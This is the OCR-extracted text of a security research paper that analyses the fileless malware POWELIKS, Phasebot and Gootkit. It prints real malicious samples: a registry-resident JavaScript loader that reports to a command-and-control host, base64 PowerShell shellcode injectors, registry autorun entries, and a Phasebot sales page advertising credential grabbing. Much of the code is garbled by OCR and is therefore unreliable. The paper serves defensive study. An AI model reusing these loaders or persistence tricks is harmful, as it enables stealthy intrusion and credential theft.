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ABSTRACT

In the past, malware evasion techniques have ranged from
simple hidden file attributes to more advanced rootkit
technology. Recently, however, notable pieces of malware
have been using the seemingly contradictory — and arguably
more powerful — method of going undetected by file-based
anti-virus solutions: by going ‘fileless’.

Indeed, ‘fileless’ infection opens up a wide range of
possibilities for cybercriminals and threat actors as they
continue to improve their tools and tactics to ensure that their
arsenal remains on a target system for as long as possible and
to make forensic investigations difficult. Among the real-world
examples of this infection technique are threats that abuse
Windows PowerShell features, recent attacks launched where
malicious codes are injected directly into other processes, and
notable malware families where binaries are placed in the
registry entries. We will discuss the threat behaviour and
technical details of these examples, along with various case
studies and incidents we have investigated.

As aresult, we will gain a thorough understanding of how
fileless infection attacks will impact the threat landscape as a
whole. We will also discuss how holistic reputation-based
technologies will help correlate the components of a fileless
attack and create appropriate solutions that will help protect
users and organizations from these threats.

1. INTRODUCTION: THE ART OF HIDING
EXPRESSED IN SEVERAL FORMS

Traditional malware infections usually require a malicious file
to be planted on a target system which then creates
corresponding auto-start and persistence mechanisms to ensure
that it runs continuously. These infections are, however,
relatively easy to detect and resolve with the help of constantly
improving file-based anti-virus solutions.

Note, though, that as security solutions continue to improve,
so do malware writers constantly enhance their creations,
making them harder to detect. Improved attacks include
rootkits, which are typically used by backdoors, and trojan
spyware that can hide malicious files, processes, and services
more effectively than conventional malware. In response,
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security vendors have introduced tools to manage and contain
these problems. These tools can scan systems for, detect, and
even eliminate hidden malicious files.

Infecting systems and networks does not always require a file.
In effect, we cannot solely rely on file detection to protect our
systems and networks. Now, there is a stealthier way to infect
computers without the user’s knowledge — going fileless.

The concept of going fileless is not new, but rarely
encountered. Fileless infection [1] is defined as malicious
coding that exists only in memory rather than installed into a
target system’s hard drive. The code is written directly on
systems’ RAM (i.e. malicious code is injected into running
legitimate processes such as explorer.exe or svchost.exe).
Fileless infections cannot usually survive a system reboot
since this normally clears the RAM. This changed, however,
with the emergence of POWELIKS [2], malware that used the
Windows registry to hide malicious code and remain persistent
despite being fileless.

2. POWER GRANTED BY WINDOWS
POWERSHELL

Windows PowerShell [3] is a powerful interactive shell or
scripting tool designed to help system administrators automate
tasks required to run on Windows. Its introduction in Windows
Vista and later versions, while helpful, ushered the emergence
of malware that could abuse it for nefarious purposes.

In March 2013, we saw a ransomware variant [4] use a
PowerShell script embedded in an .HTA file to encrypt the
files stored on infected systems. Since then, other malware has
abused PowerShell to carry out malicious routines. These
include CRIGENT [5], Microsoft Office macro malware that
also took advantage of Tor and Polipo; POSHCODER [6], a
ransomware variant that uses Advanced Encryption Standard
(AES) to encrypt victims’ files and RSA 4096 public key
cryptography to encrypt AES keys; and PRESHIN [7],
backdoors that use the PowerShell command-line interface to
download files and bypass execution policies to run.

In July 2014, we saw a piece of malware, called POWELIKS,
go fileless while enduring system reboots. To do so,
POWELIKS created two registry entries — a blank or NULL
auto-start entry and an entry that had an encoded script with an
embedded .DLL file. The NULL value hides POWELIKS and
makes sure the script executes during system start-up. The
script then checks whether Windows PowerShell is installed on
infected systems. If it isn’t, the script downloads and installs it.
It then uses PowerShell to execute the script and injects the
malicious code into the system memory. Figure 1 shows an
overview of POWELIKS infection.

POWELIKS malware has been known to arrive via
malvertisements (see Figure 2). Users who click related
malvertisements are redirected to malicious pages that
automatically install POWELIKS variants into their systems.

Checks if
Powershellis
installed; if not,

Executes another
pieceofcodeand
injectsthe DLL file

installs it into difhast.exe

Figure 1: Overview of POWELIKS infection.

VIRUS BULLETIN CONFERENCE SEPTEMBER 2015

71



DOING MORE WITH LESS: A STUDY OF FILELESS INFECTION ATTACKS RIVERA & INOCENCIO

ntracking.optim

atic.com 5.39.116.128 2 B [Bins
Mode 1D 13
@ @ L http://
ntracking.optimatic.com/
3.5/Ntracking/
trackAd.ashx?
- adID=pr0j3c7AVs1id3r&n
E: = oCache=3203942508publ
o POWELIKS E_ isher_id_gs=broadscal&p
e m— 2 age_host=technicultr.com
79 tmp F Bsw=4488ish=2528conte
o[ 4 nt_page_url=http%:3a

xecute %a2f
“a2fwww.technicultr.com
: %a2f%3futm_source
%3d11164665% 26utm_
e medium%3dsearch
%a26utm_campaign
%a3dMK

Score

dilhost.exe
v

Rating

] Category

=]
Figure 2: How POWELIKS arrives via malvertisements.
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Figure 3: Registry entry with a NULL value.
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Figure 4: Registry entry that contains an encoded script.
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language=jscript.encode>"+ (new%20ActiveXObject ("W

In order to run automatically on every system start-up, ; X
Script.Shell")) .RegRead ("HKCU\software\microsoft\

POWELIKS creates the following registry entry: windows\currentversion\run\")+"\74/script>") "
HKEY CURRENT USER\Software\Microsoft\Windows\ Because it uses a NULL value [8], users cannot see its
CurrentVersion\Run\ (null) content in the registry when viewed via the Registry Editor.
(Default) = "rundll32.exe javascript:"\..\mshtml This technique hides the entry from system tools (see

,RunHTMLApplication ";document.write ("\74script Figure 3)

function log(l) {try{x=new ActiveXObject ("Msxml2.ServerXMLHITP.6.0"):x.open ("GEI", "http://faebd7.com/log?log="+1,
y,false) ;x.send () ;return 1;}catch(e){return 0;}}le=123;a=new ActiveXObject ("WScript.Shell"); ;while(e!=42) {try{w=a.
.ExpandEnvironmentStrings ("fwindir:™) ;p=w+"\\system32\\windowspowershell\\vl.0\\powershell.exe"; f=new ActiveXObject (
"Scripting.FileSystemObject™) ;function cdn() {try{return a.RegRead ("HKLM\\software\\microsoft\\net framework setup\
\ndp\\v2.0.50727\\sp") ; }oatch (e) {return 0:}}functicn d(u){z=new ActiveXObject ("Msxzml2.ServerXMLHTTP.&.0") ;x.open (
"GEI",u,false) ;x.send () ;ufn=a.ExpandEnvironmentStrings ("$temp3\\") +u.substring (u.lastIndexOf ("/") +1) ;ufnt=ufn+".tmp™
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.DeleteFile (ufnt);a.Run("\""+ufn+"\" /quiet /norestart”,0,1);f.DeleteFile{ufn);}}while(!f.FileExists(p)}{if (cdn()=—0
) {d ("http://downlead.microsoft . com/download/0/8/c/08c19fad-4c4f-4ffb-9d6c-150306578c9e/NetFR205P1_x86.exe") ; }d ("http
: //download.microsoft . com/download/E/C/E/ECE39583-2003-455D-B681-68DB610B44A4 /WindowsXP-KB968930-x86-ENG.exe") ; } (a.
.Environment ("Process")) ("a")="iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBaseé4String(
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EYkIxQmtDRCtBOXk2NFAORDNVRGLYWHCvMFgOaTBYNE8wWGtjbldOUMNCUVV20VY4SKQxQ011ZVFCRUFBSURHQkJFQUFHCEFhQUF 3QUFBRDN20XpVR29
BLz1D51ImaUZ3QStFRudFQUFJAEXWSUS s0UFDICEOT2 tEN2ZRMRkkXVUATQXpoV1k3U3daek00dEtDSXNSTzglMkFvdkSo¥2wwR1 L0OUNJAHIESURIQKT
FQUFBUDNpM2 SFQS9qenBBKzNId2 IvUmZTRHApZ zVUZ1J52110d1BBUHdpNDZEQUFBQWNCczd0JEQUIWU1 kxOEFReUXEd1BJVWYSVIRIJDEY1 SVhBZEN1TFh
FUURYZmpySG8zRGh] Qi VCUSszd0925GkwMzRaVVE JQWEL2R1VCSWZ KNKQTRQREJITTAdBSFhkaTBYNGC4Y1Vne jhBZGJ 1 TGpxUUFBQUNEVGVDTGpRQUE
BQUNMMKNOZUSBUELNM] gwQU9zMmkxWGAPV1gwY 3pXT1Z22al12bl FpalhrSW1WWHAENZNYWnSYU2REBeUI0d] hQQUFBRDEETVJBUNFEeHAML1EMQJE1QUY
xOUFQT2kzRUVoZ1oxdzROSVEBJAELIDQ2hxQUdvQi8zVU1BOGovMGVzQ0040mZYbHZKd2hBOVUXV1dNLIpYTIRVNGt FQUFKUXYvR1dnd1 FEQ2pPSkJBEQUL
zZERERKFETDAQaOVBQVZHLIRhZZREMGxuMzhZd]j ZSH1FaVmYvVE 0 5SnFEVM4 z0F10RUpCUO F3bUdJRkFaR08vZHk1NHRFSkJSZnhnUUdBRjVkVzh JRUF

Figure 5: JavaScript code.

function gd
i
Param ([Parameter (Position=0,Mandatory=5True)] [Type[]l] S$Parameters, [Parameter (Position=1)] [Type] $ReturnIype=[
[Void]) ;
$TypeBuilder=[AppDomain] : :CurrentDomain.DefineDynamicAssenbly ( (New-Object System.Reflection.AssemblyName |
"ReflectedDelegate™) ), [Svatem.Reflection.Emit.AssemblyBuilderfAcecess] : :Run) .DefineDynamicModule ("InMemoryModule™,
£false) .DefineType ("MyDelegateType™, "Class, Public, Sealed, AnsiClass, ButoClass”, [System.HulticascDelegate] ) ;
§TypeBuilder.DefineConstructor ("RTSpecialName, HideBySig, Public"”, [System.Reflection.CallingConventions] : : Standard,
SParameters) . SetImplementationFlags ("Runtime,Managed™) ;
$TypeBuilder. DefineMEthuc‘"Invuke". "Public, HideBySig,NewSlot,Virtual”, §ReturnTyvpe, SParametE]:sI.
.SetImplementationFlags ("Runtime,Managed") ;
return $TypeBuilder.CreateType ()
H
function ga
{
Param ([Parameter (Position=0,Mandatory=$True)}] [S5tring] $Module, [Parameter (Position=1,Mandatory=5$True)] [5tring]
SProcedure) ;
$5ystemAssenbly=[AppDomain] : :CurrentDomain.GetAssenblies () |Where-Cbhject
{

% .GlobalAssemblyCache -And § .Location.Split("\\")[-1].Eqguals("System.dll")

HE

$UnsafeNativeMethods=S$5ystemAssembly.GetType ("Microsoft.Win32.UnsafeNativeMethods") ;

return $UnsafeNativeMethods.GetMethod ("GetProchddress™) . Invoke ($null, E([System.Runtime.InteropServices.HandleRef]
(New-Object System.Runtime.InteropServices.HandleRef ( (New—Object IncPtr), §UnsafeNativeMethods.GetMethod (
"GetModuleHandle™) . Invoke ($null, & (§Module) )} ), $Procedure)) ;

1
[Byte[]l] Sp=[Convert]::FromBase&45tring ("VYvsg+xoamtYamVmiUWYWGpyZolFmlhgbmaJRZxYanVmiUOWeWGpeZolFoFhgM2aJRadYaj Jmil

WkWGouZolFplhgZGaJRahYamxmiUWgWGaJRaxmi UNuZKEwAARAX OXAVM] ydMdFxHVhbEEHRchsbG9 jxkXMAT t ADFODWwARWx0XQTGI9hZMdF1EXpYnLHRA
hhenlBxkXcAMAdFsEd1dFDHRbRYb2NEXOW4 ZGRyZNbHRbEZCc8Z FvgCLyFeLCWaDe SwYdSWLCTCHVZ gz/ yvy i RR+11QVNDJUEZj2wkF1BkeD/ wry6aP
/DHQ508h1zotVCItCPItEEHI DZfgAASKLeCCLcBYLWCSLOBgD8gPaA/qldeiJXeyJRe SFWA+EgQQARAOsSLi1EY68mLXeyLdei LREiLDIcPtwRDiZSGg2X
SAAPKiU30jUXQA/ IpRESLREVLY QD2 IpEBdAGRB30d0n/REYDE FwNcuWDE fwHAQOJde CIT£SNTbAZWC1NS It N9 IpcBbADYDpcDbB1BECD
+A9y64P4D3UDiXXw/0X410X400XkcoWNNRCEQUv IV It1CIueQBEARTHGBBEAAGPARARWAARDIVIZUGOR/ SCTRfiFWwA+EFGEAAT tLVINLSACL
+POKDTALFI1UGSAZYWY 7 SWwZ zZM4TKCISsy0852R0vOhel10F YT 9CItyDIHHBBERARP 31 30FEA/ jZpA+35Wh
JRESDWigSTfRyzYCWwPAPWi46ARRAARG3WRBDARBOSY18AQyL.OWPIUEIV4T1F5IXAdCULXwWQDXTj rHosDhcB5SEQ+3w0sHi034UQIA1D/ deT
/VECTA4PDBIMTAHXdi 0X4g8cUgz8Rdbul.j gQRRACITeCLj gARRACL2 CteNAPTg2X0A0s2 1 1XgOVEOczWNVviREnQH jXkT i VRwD TcKZoXSdAyB4wBDARE
DOAMRARQD=wWL/TfB15AF19AP0i3EERfZ 1w4 t IPItMCChqAGoB/ 3UIAR] / 0esCMEBEX1 vIwhAAUIVWM/ ZXOTU4kEARCQV
J/FHgwRACjOJBAAL sdDDFAALO4kEAAVE/Tag4z01ln3B8YvEeRIQZIVE/THIIQGVn38YtEJBSAWNGIFAZGO/ dy54 tEJBREXgQGAF SAWB IEAFWLTLgAEARAEN g
JAABTVos1BDFAAFcz2/91EPS1CPE8VUDBAAIV4hfS0Sot FEI1IAYoRRITSdfkrwQPHaARQARBQ] YUASP/ /UP/Wi0UIK8cDRQ=Q,/ 3UUV/ /W/ 3UMIYUABE/
/UP91CPEVADFAADPbg8QkQ+ukX16LwlvIwhAAVYvagexMBAAAV] cz/ 1dXvgQBAABWI YW0+/ / /UPS1CFE/FTgxQACFWA
+IgQARAGO4JUXIVIDHRCQBAAAAGCE JAACDXAYNhbzZ 9/ / 9QVvEVPDBAAP91CPE8VsDBAAFCNhbZS/ / 90/ xWOMEAAV42FvP3/ /1CNhbT 7/ /9Q
/EVAMERRhcBOVY2FvP3//41F1I1FXxFDHRChARAARX OXYRDNAAPBVpDBAATXAdBhowCcJAPS 1/ PEVRDBARPS 1/ PEViDBAAE e LNYQWOACNhBT 7/ /90
/%aWhbz3//9Q/9al.x19eycIEAFWLT I Pk+ TH3xASAAFNNV TnFAQAAvVMgZQACNVCRQBARAS 6022 10JKCQkpPAVLDFARChHS / /

Figure 6: PowerShell script.
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However, users can view one of the two registry entries added
— the one that contains an encoded script (Figure 4).

The script is encoded using Script Encoder [9]. After
performing several decoding steps, a .DLL file that contains
the malicious code and payload is revealed.

The JavaScript code first checks whether Windows
PowerShell is installed on the system. If it isn’t, it downloads

and installs this command-line shell and scripting
environment. Further decoding reveals a base64-encoded
PowerShell script (Figures 5 and 6).

The PowerShell script contains a base64-encoded shellcode in
variable $p. When decoded, it contains code that directly
injects a Dynamic Link Library (DLL) into the system’s
memory (see Figures 7-9).
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Figure 7: Decoded shellcode from variable $p.
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Figure 8: Shellcode in the system’s memory.

Time PID Process Path COperation Info 4
%DB: 936 virus\a.exe NEew process rundl32.exe javascript \mshtml RunHTMLApplication “;document
%D 1624 ystem32\emd exe process exit
%Di‘ 608 INDOWS\system32yundll32.exe NEW process MDOWS\system32\windowspowershellv 1.0\powershell. exe”
Hen 352 =gw KBI6EaI0EY: CWlnl tlexe progess exit
%03:25:15: 125 1472 i\ wsPow I\v1.0\pow Dew process C:\WINDOWS\system32\dihost.exe I

Figure 9: Process created when the DLL is injected into the system’s memory.
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+* Dllhost: Entire Memory
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Figure 10: Format of the gathered information being sent.

IHust: 1e90ff. com |

CUﬂteﬂt*Ty[.JE: application/x-www-form-urlencoded
content-Length: 0O

HTTP/1.1 200 oK

server: nginx/1.2.1

Date: Tue, 18 Nov 2014 18:53:12 GMT
Content-Type: text/xml; charset=utf-8
Connection: close

expires: Thu, 01 Jan 1970 00:00:01 GMT
cache-control: no-cache

<?xml version="1.0" encoding="uTF-8"7>
o

| <guery><! [CDATA[testosterone+for+women] ]></query> I
T

TECT
<title><! [CDATA[eGameNation] ]=</title
<description=><! [cDATA[vour flash game source.
<ur1><![CDATA[Gamenation. com]1></url>

hiden 00041 /hid

11==/description=

></clickurl>

<clickurl><! [CDATA[http://88.214.241.85/click?sid=201a117

€856b12636030442f301d28f6ec8fe8a3&cid=0]] I

</Tecord>
<processTime>1375</processTime>
</records=

<ref>hrtp¥%3a%2fi2fexpendablesearch. coms2fsearch. php%3fa%3drestosterone+for+women</ref><ids>2</id>

Figure 11: Sample URL used for click-fraud activity.

|Host: 1e907T. com |

CUI‘ItEHt*T}/éE: application/x-www-form-urlencoded
content-Length: O

HTTP/1.1 200 OK

Server: nginx/1.2.1

Date: Tue, 18 Nov 2014 18:50:30 GMT
content-Type: text/xml; charser=utf-8
iConnection: close

Expires: Thu, 01 Jan 1970 00:00:01 GMT
icache-control: no-cache

<?xm] version="1.0" encoding="UTF-8"7>
racor
|ﬁuery><! [cpaTA[joint+infection]]></query> |
=recara>
<titles<![CDATA[eGameNation] ]></titlex>

<ur 1=<! [CDATA[Gamenation. com]]></url>
hid=0,00041</bid

<description><! [coATA[Your flash game source. ]]></description>

<c [1ckur [><! [CDATA[htTp://88.214.241.85/cl1ck? I
51d=8f75f821c687855c53899112090ed27514¢c749fd&cid=0]]></clickurl>

</record>
<processTime>1536</processTime=
</records>

<ref>http%la%2f%2fexpendablesearch. con%2fsearch. php%3fg%3djoint+infection</ref><id>2</id>
|

Figure 12: Another sample URL used for click-fraud activity.

Eile Edit View Favorites Help

a- ), Software
4. AppDatalow
4- ), Classes
a- ) clsid

.-} Local Settings

« | - m

v

|

[} (AB390284-09CA-4b6-B780- ABFS90T9A8D5)

_' MName Type Data
|| 5] (Defautt) REG_SZ (value not set)
i [ m J »

Computer\HKEY_CURRENT_USER\Software\Classes\clsid\[ ABS902B4 -09CA-4bb6-BT8D - ABF59079A8D5)

Figure 13: Empty data when viewed via the Registry Editor.

As for the payload, it accesses a C&C server to report on the
infection status with information such as universally unique
identifiers (UUIDs), installed malware versions, build dates,
OS versions and architecture.

type={status: start, install, exist, cmd or low}é&v

ersion=1.0&aid={id}&builddate=%s&id={uuid}&os={0S
version} {0OS architecture}

Security

RIVERA & INOCENCIO

Group o uss names:

|

Figure 10 shows the format of the gathered information being

Permissions far Allowy Deny
Full Contral ] ]
Read o
Special permissions ) O

POWELIKS’s click-fraud routine involves the download of
arbitrary files such as configuration data, which includes the
URL to click (see Figures 11 and 12).

Meanwhile, a new variant denies users access instead of
creating a NULL value to hide malicious registry entries
(Figures 13 and 14).

Modifying user permissions [10], however, reveals them, as
shown in Figure 15.

Figure 14: Standard file and folder permission settings for

For special permissions or advanced settings,
click sdvanced,

Learn about access contol ahd permissions

[ ok ][ cancel ||

users.
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An analysis of how POWELIKS behaves reveals that, during
the infection process (from JavaScript to DLL injection), it

File Edit View Favorites Help

[ enlel =f Type osta does not leave files on infected systems” hard drives and
- chsi . . . . . .
4 1) ABSO02B4-03CA-4bb6-BTED-ASFSSC el el creates registry entries to remain persistent. The NULL auto-

b L1 localservend2|

[
- Ju Local Settings T

start key and removal of users’ permissions prevents users

Ui VirtualStore from manually spotting malicious indicators using the
s _ - _ Registry Editor. Remaining hidden makes it difficult for
‘ I m_ J » [« m »

security analysts who are not familiar with fileless infection

Computer\HKEY_CURRENT_USER\Software\Classes\clsid\[ABBI02B4-09CA- 4bb6-BT8D-ABF5I0TAARDS Pocalserver32 o . X R
to perform forensic investigations and resolve the issue.

Figure 15: Visible entries after modifying the permission
settings.

Figure 16 shows a chart based on Trend Micro Smart
Protection Network data, which reveals a sudden surge in the
number of POWELIKS infections from the third to the fourth
quarter of 2014.

3. PHASEBOT AND GOOTKIT: ON THE
4 HEELS OF POWELIKS

The success of POWELIKS can be considered a milestone in
the ever-evolving threat landscape. It ushered in a new way to
infect systems stealthily and persistently. Since then, others of
the same stock have surfaced, including Phasebot and Gootkit
[11] or XswKkit.

Analysis suggests that Phasebot is an updated version of
Solarbot [12], which has existed since 2013. Phasebot and
Solarbot have almost identical features. Unlike Solarbot,
Phasebot’s most attractive feature for would-be attackers is
that it is fileless and very hard to detect. Phasebot currently
sells for US$95 (see Figures 17 and 18).

40,2014

3Q2014

600 800

0 200

400 1,000

Figure 16: Comparison of POWELIKS infection volume, 3Q
and 4Q 2014.
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Technicalities Of Phase

Position Independent Code
No Files On Disk

Works on Windows XP o
Windows 8

Custom API Loader (Hash)
Custom x86 and x64
Disassembler

Exception Hook Engme
Multiple Stages Of Encryption
Ring 3 Rootkit

No Own Process

No Dependencies
Obscured PE Header
Hook Protection

Process Protection
Registry Protection

Phase - A fully stealth fileless bot

Introduction

Phase is a innovative bot that employs a wide range of features with the main feature being stealth. Phase has no
dependencies, works on both 32 and 64 systems and can install on a windows system without dropping any files and without
having it's own process, making it the ultimate stealth bot on all windows systems ranging from Windows XP without service
pack to Windows 8.1 with the latest service pack. Besides these core stealth features, Phase also puts an emphasis on
security by encrypting all communication with a random password each time it connects to the panel. Apart from the security
and stealth features, Phase also deploys a wide range of usefull features including a formgrabber for Chrome, FireFox and
Internet Explorer, an Ftp and Pop3 legin grabber, External Module Loader, a custom Length Disassembler Engine for x86 and
x64, multiple layers of encryption, Reverse Socks 5 Proxy Network, Custom AP loader, Hook Protection, Process Prolection,
Registry Protection, Vi Detection (and report) and many more advanced technical stealth features. Al these features are
standard and together make Phase one of the most innovative bots currently in the scene. Still not convinced? Check out the
screenshots below or chat with us if you have any questions.

RC4 Encrypted Communication Dashboard Commands Bot List Documentation
Two Domains
s — = o
Features Of Phase Botnet pr— 3
Ftp and P rabber Vi K rowser Formgrabber in P:
Googhs Ghiome Formgrabber tp and Pop3 Grabbe Reverse Socks5 Browser Formgrabbe Logl age
FireFox Formgrabber —
Internet Explorer Formgrabber = =
Reverse Socks 5 Proxy = = 5

Ftp Grabber

Pop 3 Grabber

SPDY Grabber

Slow Post DDOS

Update Bot

Download & Execute
Execute Url (Visible)
Execute Url (Invisible)
External Module Loader
VM Detection (Analyzers)

Settings Module Loader Remote Desktop

Figure 17: Phasebot description (on the Phasebot site).

How to buy

15 made.

For further Questions. Purchase and Supports. Contact - Yahoo M

* A Phase Bin Setup $95 - This setup will be done 1 your server ( you have to provide Hosting server)
+ B. Phase Bin Setup $200 : Phase is setup in 1 of our Bulletproof servers. ensures high protection and bot long lasting time. ( Duration - 6mth . After duration $50/Monthly)
¢ C. Phase Builder + Video tutorial 3600 : All files and guides to enable you setup phase botnet on your own convenience any time. any day. any amount of bins as wanted is given to you.

‘Want to test bot to confirm it grabs all browsers and works fine before buy? We can setup a quick test sample for you to test bot and confirm 1t's working perfectly and grabs all browsers Before payment

/Email: phasel ti@yahoo.co.uk | Skype: phasebotnet

Please I attend to serious buyers only. 1 will 1gnore anyene begging for free. or wasting my time. I am online for serious people only

Figure 18: Instructions for purchasing Phasebot (on the Phasebot site).
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Loader registry entry
runs a Javascriptto
create and executes
PowerShell script

Auto-run registry
entry runs a
JlavaScripttoread 3
loader registry entry

ILELESS INFECTION ATTACKS RIVERA & INOCENCIO

PowerShell script
decryptsa binary
embedded inthe
Registry tocreatea
shellcode

Shellcode isinjecte

into explo ]

Figure 19: Overview of Phasebot infection.

Like POWELIKS, Phasebot also takes advantage of
PowerShell to execute a hidden binary in the registry. Figure
19 shows an overview of Phasebot infection.

Phasebot checks whether its target system has PowerShell
and the .NET Framework. If present, Phasebot then adds
an auto-start registry entry (registry 1), the sole purpose of
which is to execute a JavaScript via rundll32.exe in order
to read another registry entry that it also added. The
loader registry entry (registry 2) runs a script that decodes
and executes a base64-encoded PowerShell script. The
PowerShell script then decrypts an RC4-encrypted

binary embedded in another registry entry (registry 3).
The following are the registry entries that Phasebot
adds:

* Registry 1: Auto-start registry entry

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Windows Host Process (RunDll) =

rundll32.exe javascript:"\..\mshtml, RunHTMLApplicat
ion ";eval ((new$20ActiveXObject ("WScript.Shell")) .
RegRead ("HKCU\\Software\\Microsoft\\Active%20Setup\\
Installed%20Components\\{72507C54-3577-4830-815B~
310007F6135A}\\JavaScript")) ;close () ;

File Edit View Favorites Help

1. {44BBA -~ || Name Type Data
& (6BF2) | 25i(Defaul) REG_SZ. (value ot set)
i g:’; ) 28] Jovaseript REG_SZ sPowerShellScript = "yBSZWFKIEFuZCBFeGVjdXRIFjNCEFbmNyeXB0ZWQgU2hlbGiDb2RIEZyb20gVGhIIFIZ2zdHISL..
= (ssazuf 4 RcdEncoded32  REG_BINARY 8787 3F 5¢ d1 2567 7d 68 47 0 Sa 9c b7 21 1 0b 34 ab Oe 9d 2¢ 58 d6 22 51 76618 54 5a c21d 6b o0 b8 17 623 37d ...
: (sssaév #|RcdEncodedsd  REG_BINARY 87 46 53 6f 06 a7 6b 22 €8 65 ab cla ae 96 4c 98 43 bS 8e €590 26 59 9e 2b cd €366 1c 54 5a8a cl 5e01 31 ff ee 27 8b fA ..
) P 3
Computer\HKEY_CURRENT | rosoft\Active Setup C 72507 C54-3577-4830-81 58-310007F61354)

Figure 20: Registry entries Phasebot adds via the Registry Editor.

oWSShell = new ActiveXObject ("WScript.Shell"™);
sWindows = oWS55hell.ExpandEnvironmentStrings ("3windirs™);
sPowerShell = sWindows + "\\system32\\windowspowershell\\vl.0\\powershell.exe";
oFile = new ActiveXObject ("Scripting.FileSystemObject™);
if (oFile.FileExists (sPowerShell))
i
(oWSShell.Environment ("Process™)) ("LoadShellCodeScript™) = "iex ([Text.Encoding]::ASCII.GetString([Convert]
 FromBase645tring ('™ + sPowerShellScript + "')))":
oW55hell .Run (sPowerShell + " iex fenv:LoadShellCodeSeript®, 0, 1):}

Figure 21: Script in the loader registry entry that executes a PowerShell script.

# Read And Execute Rc4 Encrypted ShellCode From The Registry

# Set Registry Key

$sRegistryKey = 'HKCU:\Software\Microsoft\Active Setup\Installed Components)\{72507C54-3577-4830-815B-310007TF6135A}";

# Set Key For Key Stream

[Byte[]]$bKey = [System.Text.Encoding]::ASCII.GetBytes ("Phase");

# Import Native Functions

$sCode = @"

[D11Import {"kernel32.dll™)]

public static extern IntPctr CreateThread (IntPtr lpThreadAttributes, uint dwStackSize, Byte[] lpStartiAddress, IntPtr
1pParameter, uint dwCreationFlags, IntPtr 1pThreadId);:

[D11Tmport ("kernel32.d11™)]

public static extern bool VirtualProtect (Byte[] lpAddress, uint dwSize, uint flNewProtect, [Out] IntPtr
1pflOldProtect):

[D11Import {("kernel32.dll™)]

public static extern uint WaitForSingleObject (IntPtr hHandle, int dwMilliseconds);

"g

# Make The Code Recognized By PowerShell
$pFunctions = Add-Type -memberDefinition $sCode -Name "Win32" -namespace Win32Functions -passthru

# Declare Shellcode Array

[Byte[]]SbShellCode:

# Check Pointer Size To Check If x64

if ([IntPtr]::Size -eq 8) {

Figure 22: PowerShell script that decrypts and executes a binary embedded in another registry entry.

Time PID Process Path Operation Info

A 14:48:32:555 2348 CAWindows\System32\WindowsPowerShell\wl.0\powershell exe remote thread(G14) C:\Windows\explorer.exe

&14:4& 2727 2348 CAWindows\System32\WindowsPowerShell\wl.0\powershell exe create remote thread C:\Windows\explorer.exe [
&14:4& 2:883 1980 CA\Windows\explorer.exe create remote thread C\Windows\System32\taskhost.exe
&14:4&:33:039 1980 CA\Windows\explorer.exe create remote thread C:\Windows\System32\dwim.exe

Pl m 1

Figure 23: Powershell.exe injects a binary into explorer.exe.

VIRUS BULLETIN CONFERENCE SEPTEMBER 2015

7



78

DOING MORE WITH LESS: A STUDY OF FILELESS INFECTION ATTACKS RIVERA & INOCENCIO

Grabbed FTP Credentials

B < & 0 » LY

Browsers  Modules  Analyzer

-]

Control Wallets

[}

Logout

Sarver IP

Ussrnama

Password

&5 =

Settings  Documentation

Date Action

€ = € [ localhost/panel_panel/ftp.php
@
m]
8
| 8
* Dashboard | Commands ~ Bots  Credentials  Socks 5
&
Qo
A
o Search Ftp Table FTP Credentials
—
Y Bot Guid v Bot GUID Bot P
&
) 3
(O}

There are no credentials to display

Figure 24: Replicated Phasebot panel that shows its capabilities.

e Registry 2: Loader registry entry

HKCU\Software\Microsoft\Active Setup\Installed
Components\{72507C54-3577-4830-815B-310007F6135A}

Javascript = "sPowerShellScript =
\"IyBSZWFkIEFuZCBFeGVjdXR1IFJjNCBFbmNyeXB0ZWQgU2h1bG
xDb2R1IEZyb20gVGhlIFJ1Z21zdHI5IAOKDQojIFN1dCBSZWdpc3R
yeSBLZXkNCiRzUmVnaXNOcn. .. ... "

e Registry 3: Encrypted binary

HKCU\Software\Microsoft\Active Setup\Installed
Components\{72507C54-3577-4830-815B-310007F6135A}

Rc4Encoded{32 or 64} = "{encrypted binary}"

The binary is then injected into running processes to grab
FTP credentials and bitcoin wallets stored in infected systems
and download additional modules from a server (Figures 23
and 24).

Unlike POWELIKS, Gootkit does not use rundll32.exe and
PowerShell. Instead it uses mshta.exe [13] to execute a
JavaScript and DynamicWrapperX [14] to run the shellcode.

Like Phasebot, Gootkit adds more than one registry entry to
infected systems to remain persistent:

e Registry 1: Auto-start registry entry
HKCU\Software\Microsoft\Windows\CurrentVersion\Run

rundl132 = "mshta "about:<title> </
title><script>moveTo (-300,-300);resizeTo(0,0);</
script><hta:application showintaskbar=no><script>eva
1(new ActiveXObject ('WScript.Shell') .RegRead ('HKCU\\
Software\\ xsw\\loader'));if (!window.flag)close ()</
script>""

Loader registry entry
runs 3 script to execute
a shelkode via
Dynamic\Wrapperk

Auto-run registry key

runs a script to read the
loader registry entry

* Registry 2: Loader registry entry

HKEY CURRENT_USER\Software\xsw

loader = "varGlobalObject = this;var FSO = fso = new
ActiveXObject (\"Scripting......."

» Registry 3: Executable binary

HKEY CURRENT_USER\Software\ xsw

binaryImage{32 or 64} = "{binary data}"

Figure 25 shows an overview of Gootkit infection. As part
of its auto-start mechanism, Gootkit executes a script
embedded in an auto-start registry key (see Figure 26), the
sole purpose of which is to read the loader script in another
registry entry.

The loader registry entry contains a script that executes an
embedded shellcode via DynamicWrapperX (see Figures 27
and 28). This allows Gootkit to call functions exported by
DLLs, particularly Windows API functions.

The shellcode creates a new instance of svchost.exe that is
then injected with the binary stored in the following registry
entry (as shown in Figures 29 and 30):

HKCU\Software\xsw\binaryImage{32 or 64}

Among the fileless malware analysed, POWELIKS and
Phasebot both took advantage of residing in the registry and
PowerShell in order to evade detection. Though Gootkit also
resided in the registry, it used DynamicWrapperX instead of
PowerShell.

Shellcode createsa
new instance of
host.exe andinjects
binary datafrom

Binarylmagexx intoit

oSt
with the binary runs

Figure 25: Overview of Gootkit infection.

il ki it

| RADAR * || Mame
“, Run| K j_!j{Defaul'tJ
- 14 RunOnce 58 rundiiz2
] Screensavers &
ar I8 LG

REG_SZ
REG_SZ

Data

(value not set)
I mshta "about: <title> </title> <script>moveTo(-300,-300);re... I

Computer\HKEY_CURRENT_USER\SoftwareiMicrosoft\Windows\ CurrentVersion\Run

Figure 26: Script found in the auto-start registry entry.
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i Registry Editor
File Edit View Favorites Help

. Software * || Mame Type Data
L W F 2b) (Default) REG_SZ (value not set)
